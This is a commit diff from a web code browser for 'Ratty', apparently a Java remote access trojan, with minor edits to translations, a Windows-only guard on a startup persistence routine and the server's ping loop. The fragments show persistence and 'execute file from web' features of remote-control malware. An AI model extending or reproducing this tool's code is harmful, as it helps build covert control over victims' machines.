Browse Source

Small changes

Cleanups
Translations
Ping timer now uses the sleep method
master
Sogomn 9 years ago
parent
commit
3cc22415a4
  1. 1
      Ratty/res/language/lang_es.properties
  2. 6
      Ratty/src/de/sogomn/rat/Ratty.java
  3. 39
      Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java
  4. 2
      Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java
  5. 4
      Ratty/src/de/sogomn/rat/server/AbstractRattyController.java

1
Ratty/res/language/lang_es.properties

@ -39,6 +39,7 @@ action.new_directory=Crear una nueva carpeta
action.upload_execute=Subir y ejecutar archivo
action.drop_execute=Ejecutar archivo desde web
action.drop_file=Soltar archivo
action.file_information=Obtener información de archivo
column.name=Nombre
column.location=Localizacion

6
Ratty/src/de/sogomn/rat/Ratty.java

@ -86,6 +86,12 @@ public final class Ratty {
}
private static void addToStartup() {
final String os = System.getProperty("os.name").toUpperCase();
if (!os.contains("WINDOWS")) {
return;
}
try {
final URI sourceUri = Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI();
final File source = new File(sourceUri);

39
Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java

@ -14,10 +14,7 @@ import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JOptionPane;
import de.sogomn.engine.Clock;
import de.sogomn.engine.fx.Sound;
import de.sogomn.engine.util.Scheduler;
import de.sogomn.engine.util.Scheduler.Task;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.builder.JarBuilder;
import de.sogomn.rat.gui.ChatWindow;
@ -61,10 +58,6 @@ public final class RattyGuiController extends AbstractRattyController implements
private HashMap<ActiveConnection, ServerClient> clients;
private Clock clock;
private Scheduler scheduler;
private Task pingTask;
private static final String BUILDER_REPLACEMENT = "connection_data";
private static final String BUILDER_REPLACEMENT_FORMAT = "%s\r\n%s\r\ntrue";
private static final String[] BUILDER_REMOVALS = {
@ -111,7 +104,7 @@ public final class RattyGuiController extends AbstractRattyController implements
private static final String FILE_BYTES = LANGUAGE.getString("file_information.bytes");
private static final String FLAG_ADDRESS = "http://www.geojoe.co.uk/api/flag/?ip=";
private static final float PING_INTERVAL = 3;
private static final long PING_INTERVAL = 3000;
private static final Sound PING = Sound.loadSound("/ping.wav");
@ -119,28 +112,24 @@ public final class RattyGuiController extends AbstractRattyController implements
this.server = server;
this.gui = gui;
final Runnable task = () -> {
final PingPacket packet = new PingPacket();
connections.forEach(connection -> connection.addPacket(packet));
pingTask.reset();
};
final Thread pingThread = new Thread(() -> {
while (true) {
clock.update();
final PingPacket packet = new PingPacket();
broadcast(packet);
try {
Thread.sleep(PING_INTERVAL);
} catch (final Exception ex) {
ex.printStackTrace();
}
}
});
clients = new HashMap<ActiveConnection, ServerClient>();
clock = new Clock();
scheduler = new Scheduler();
pingTask = new Task(task, PING_INTERVAL);
pingThread.setDaemon(true);
pingThread.start();
scheduler.addTask(pingTask);
clock.addListener(scheduler);
}
/*
@ -696,19 +685,19 @@ public final class RattyGuiController extends AbstractRattyController implements
@Override
public void connected(final ActiveServer server, final ActiveConnection connection) {
final ServerClient client = new ServerClient(connection);
super.connected(server, connection);
final ServerClient client = new ServerClient(connection);
clients.put(connection, client);
}
@Override
public void disconnected(final ActiveConnection connection) {
final ServerClient client = getClient(connection);
super.disconnected(connection);
final ServerClient client = getClient(connection);
gui.removeClient(client);
clients.remove(connection);

2
Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java

@ -41,8 +41,6 @@ public final class MouseEventPacket implements IPacket {
y = connection.readInt();
button = connection.readInt();
strokeType = connection.readByte();
System.out.println(x + " " + y);
}
@Override

4
Ratty/src/de/sogomn/rat/server/AbstractRattyController.java

@ -21,8 +21,8 @@ public abstract class AbstractRattyController implements IServerObserver, IConne
connection.setObserver(this);
connection.start();
connection.addPacket(packet);
connections.add(connection);
connection.addPacket(packet);
}
@Override
@ -42,7 +42,7 @@ public abstract class AbstractRattyController implements IServerObserver, IConne
}
public void broadcast(final IPacket packet) {
connections.stream().forEach(connection -> {
connections.forEach(connection -> {
connection.addPacket(packet);
});
}

Loading…
Cancel
Save